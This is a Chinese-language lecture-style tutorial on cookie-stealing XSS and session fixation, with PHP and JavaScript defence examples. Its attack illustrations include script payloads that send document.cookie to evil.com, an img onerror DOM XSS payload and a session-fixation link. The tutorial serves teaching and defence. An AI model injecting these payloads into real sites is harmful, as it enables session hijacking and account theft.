各位观众,大家好!今天咱们来聊聊网络安全里两个让人头疼的小妖精:Cookie Stealing (XSS) 和 Session Fixation (会话固定)。这两个家伙都能偷走你的“通行证”,然后冒充你干坏事。别怕,今天咱们就来扒一扒它们的底裤,看看它们是怎么作案的,以及如何把它们摁在地上摩擦!
一、Cookie Stealing (XSS): “脚本小子”的狂欢
XSS 攻击,全称 Cross-Site Scripting,翻译过来就是“跨站脚本”。听起来挺高大上,其实就是坏人往你浏览的网页里塞了一段恶意代码,这段代码在你浏览器里执行,然后就搞事情了。
1. XSS 的作案手法
XSS 攻击主要分为三种类型:
-
存储型 XSS (Persistent XSS): 这是最危险的一种。坏人把恶意脚本塞到服务器的数据库里,比如留言板、评论区等等。然后,只要有人访问包含这个恶意脚本的页面,脚本就会执行,受害者遭殃。
举个栗子: 假设有个留言板,你没做任何安全处理。坏人发了一条留言:
<script> // 恶意代码:把用户的 Cookie 发送到坏人的服务器 window.location='http://evil.com/steal.php?cookie='+document.cookie; </script>
然后,每个访问这条留言的人,都会被执行这段脚本,Cookie 就被偷走了。
-
反射型 XSS (Reflected XSS): 这种攻击需要用户点击一个包含恶意脚本的链接。服务器接收到这个链接,然后把恶意脚本“反射”回用户的浏览器执行。
举个栗子: 假设有个搜索功能,URL 可能是这样的:
http://example.com/search?q=keyword
。如果程序没做过滤,坏人可以构造这样的 URL:http://example.com/search?q=<script>window.location='http://evil.com/steal.php?cookie='+document.cookie;</script>
用户点击这个链接,服务器会把恶意脚本返回给浏览器,然后浏览器执行,Cookie 就被偷走了。
-
DOM 型 XSS (DOM-based XSS): 这种攻击不需要经过服务器,恶意脚本直接在客户端通过修改 DOM (Document Object Model) 来执行。
举个栗子: 假设有个 JavaScript 代码,从 URL 的 hash 中获取参数:
var search = document.location.hash.substring(1); // 从 # 后面获取参数 document.getElementById("result").innerHTML = search; // 把参数显示在页面上
坏人可以构造这样的 URL:
http://example.com/#<img src=x onerror=alert('XSS')>
。浏览器会把#<img src=x onerror=alert('XSS')>
赋值给search
变量,然后插入到页面中。由于src=x
不是一个有效的图片地址,onerror
事件会被触发,执行alert('XSS')
。
2. XSS 的防御姿势
-
输入验证 (Input Validation): 这是最基础也是最重要的防御手段。永远不要相信用户的输入!对所有用户提交的数据进行严格的验证和过滤。
- 白名单: 只允许用户输入预定义的字符、格式和长度。
- 黑名单: 过滤掉危险的字符和代码,比如
<script>
,<iframe>
,onload
,onerror
等等。但是黑名单很容易被绕过,所以不推荐作为唯一的防御手段。
代码示例 (PHP):
<?php // 使用 htmlspecialchars 函数进行转义 $input = $_GET['q']; $safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8'); echo "你搜索的是: " . $safe_input; ?>
htmlspecialchars
函数可以将 HTML 特殊字符转换为 HTML 实体,比如<
转换为<
,>
转换为>
,这样浏览器就不会把它们当成 HTML 标签来解析。 -
输出编码 (Output Encoding): 在将数据输出到页面之前,进行适当的编码。
- HTML 编码: 将 HTML 特殊字符转换为 HTML 实体,防止 XSS 攻击。
- JavaScript 编码: 将 JavaScript 特殊字符进行转义,防止 JavaScript 代码被执行。
- URL 编码: 将 URL 特殊字符进行转义,防止 URL 被篡改。
代码示例 (JavaScript):
function escapeHTML(str) { var div = document.createElement('div'); div.appendChild(document.createTextNode(str)); return div.innerHTML; } var userInput = "<script>alert('XSS')</script>"; var safeInput = escapeHTML(userInput); document.getElementById("result").innerHTML = safeInput;
这个
escapeHTML
函数可以创建一个临时的div
元素,然后将用户输入作为文本节点添加到div
中。最后,通过div.innerHTML
获取转义后的 HTML 代码。 -
使用内容安全策略 (Content Security Policy, CSP): CSP 是一种安全策略,可以控制浏览器可以加载哪些资源,比如 JavaScript、CSS、图片等等。通过配置 CSP,可以有效防止 XSS 攻击。
举个栗子:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:;">
default-src 'self'
: 只允许加载来自同源的资源。script-src 'self' 'unsafe-inline' 'unsafe-eval'
: 允许加载来自同源的 JavaScript 代码,也允许执行内联脚本和eval()
函数。注意:'unsafe-inline'
和'unsafe-eval'
会降低安全性,尽量避免使用。img-src 'self' data:
: 允许加载来自同源的图片,也允许使用 data URI。
-
设置 HTTPOnly Cookie: 将 Cookie 设置为 HTTPOnly,可以防止 JavaScript 代码访问 Cookie。这样即使发生了 XSS 攻击,坏人也无法通过 JavaScript 代码窃取 Cookie。
代码示例 (PHP):
<?php setcookie('session_id', '1234567890', time() + 3600, '/', '', false, true); ?>
httpOnly
: 设置为true
,表示 Cookie 只能通过 HTTP 协议访问,不能通过 JavaScript 代码访问。
-
使用 XSS 防护库: 有很多成熟的 XSS 防护库可以使用,比如 OWASP Java Encoder, DOMPurify 等等。这些库可以帮助你更方便地进行输入验证和输出编码。
二、Session Fixation: “狸猫换太子”的诡计
Session Fixation 攻击,翻译过来就是“会话固定”。这种攻击是指坏人先创建一个会话 ID,然后诱骗用户使用这个会话 ID 登录,这样坏人就可以冒充用户了。
1. Session Fixation 的作案手法
Session Fixation 攻击通常分为以下几个步骤:
- 坏人创建一个会话 ID: 坏人先访问网站,获取一个有效的会话 ID。
- 坏人诱骗用户使用这个会话 ID: 坏人通过某种方式,让用户使用这个会话 ID 登录。比如,坏人可以构造一个包含会话 ID 的 URL,然后通过邮件或者其他方式发送给用户。
- 用户使用坏人的会话 ID 登录: 用户点击链接,使用坏人的会话 ID 登录。
- 坏人使用相同的会话 ID 冒充用户: 坏人使用相同的会话 ID 访问网站,就可以冒充用户了。
举个栗子:
- 坏人访问
http://example.com/
,服务器分配给坏人的会话 ID 是1234567890
。 - 坏人构造一个包含会话 ID 的 URL:
http://example.com/?session_id=1234567890
。 - 坏人通过邮件发送这个 URL 给用户。
- 用户点击链接,使用会话 ID
1234567890
登录。 - 坏人使用相同的会话 ID
1234567890
访问http://example.com/
,就可以冒充用户了。
2. Session Fixation 的防御姿势
-
登录后重置会话 ID (Session Regeneration): 这是最有效的防御手段。在用户登录成功后,立即生成一个新的会话 ID,并销毁旧的会话 ID。这样即使坏人已经知道了旧的会话 ID,也无法使用它来冒充用户。
代码示例 (PHP):
<?php session_start(); if (isset($_POST['username']) && isset($_POST['password'])) { // 验证用户名和密码 if ($_POST['username'] == 'admin' && $_POST['password'] == 'password') { // 登录成功 session_regenerate_id(true); // 生成一个新的会话 ID,并删除旧的会话文件 $_SESSION['username'] = 'admin'; echo "登录成功!"; } else { echo "用户名或密码错误!"; } } ?>
session_regenerate_id(true)
函数会生成一个新的会话 ID,并删除旧的会话文件。 -
不要在 URL 中传递会话 ID: 尽量使用 Cookie 来传递会话 ID。如果必须在 URL 中传递会话 ID,一定要对 URL 进行严格的验证和过滤,防止坏人篡改会话 ID。
-
设置 Cookie 的 Secure 属性: 将 Cookie 的 Secure 属性设置为 true,表示 Cookie 只能通过 HTTPS 协议传输。这样可以防止坏人通过中间人攻击窃取 Cookie。
代码示例 (PHP):
<?php session_set_cookie_params([ 'secure' => true, 'httponly' => true, 'samesite' => 'Strict' ]); session_start(); ?>
session_set_cookie_params
函数可以设置 Cookie 的属性。secure
: 设置为true
,表示 Cookie 只能通过 HTTPS 协议传输。httponly
: 设置为true
,表示 Cookie 只能通过 HTTP 协议访问,不能通过 JavaScript 代码访问。samesite
: 设置为Strict
,可以防止跨站请求伪造 (CSRF) 攻击。
-
使用会话超时 (Session Timeout): 设置会话超时时间,如果用户在一段时间内没有活动,就自动注销会话。这样可以减少会话被盗用的风险。
代码示例 (PHP):
<?php session_start(); // 设置会话超时时间为 30 分钟 $inactive = 1800; if (isset($_SESSION['timeout']) && (time() - $_SESSION['timeout'] > $inactive)) { // 会话超时,注销会话 session_unset(); session_destroy(); echo "会话超时,请重新登录!"; exit(); } $_SESSION['timeout'] = time(); ?>
-
检查 User-Agent: 检查用户的 User-Agent,如果 User-Agent 发生变化,就认为会话可能被盗用,立即注销会话。但是 User-Agent 很容易被伪造,所以不推荐作为唯一的防御手段。
三、总结
攻击类型 | 原理 | 防御手段 |
---|---|---|
XSS (Cookie Stealing) | 往网页里塞恶意脚本,窃取 Cookie。 | 输入验证 (白名单/黑名单),输出编码 (HTML/JavaScript/URL),使用 CSP,设置 HTTPOnly Cookie,使用 XSS 防护库。 |
Session Fixation | 坏人先创建一个会话 ID,诱骗用户使用这个会话 ID 登录,然后冒充用户。 | 登录后重置会话 ID,不要在 URL 中传递会话 ID,设置 Cookie 的 Secure 属性,使用会话超时,检查 User-Agent (不推荐作为唯一的防御手段)。 |
XSS 和 Session Fixation 都是常见的网络安全威胁,需要我们认真对待。记住,永远不要相信用户的输入,要对所有用户提交的数据进行严格的验证和过滤。同时,要采取多种防御手段,才能有效保护网站的安全。
好了,今天的讲座就到这里。希望大家能学到一些有用的知识,保护好自己的“通行证”,远离这些小妖精的骚扰!感谢大家的观看!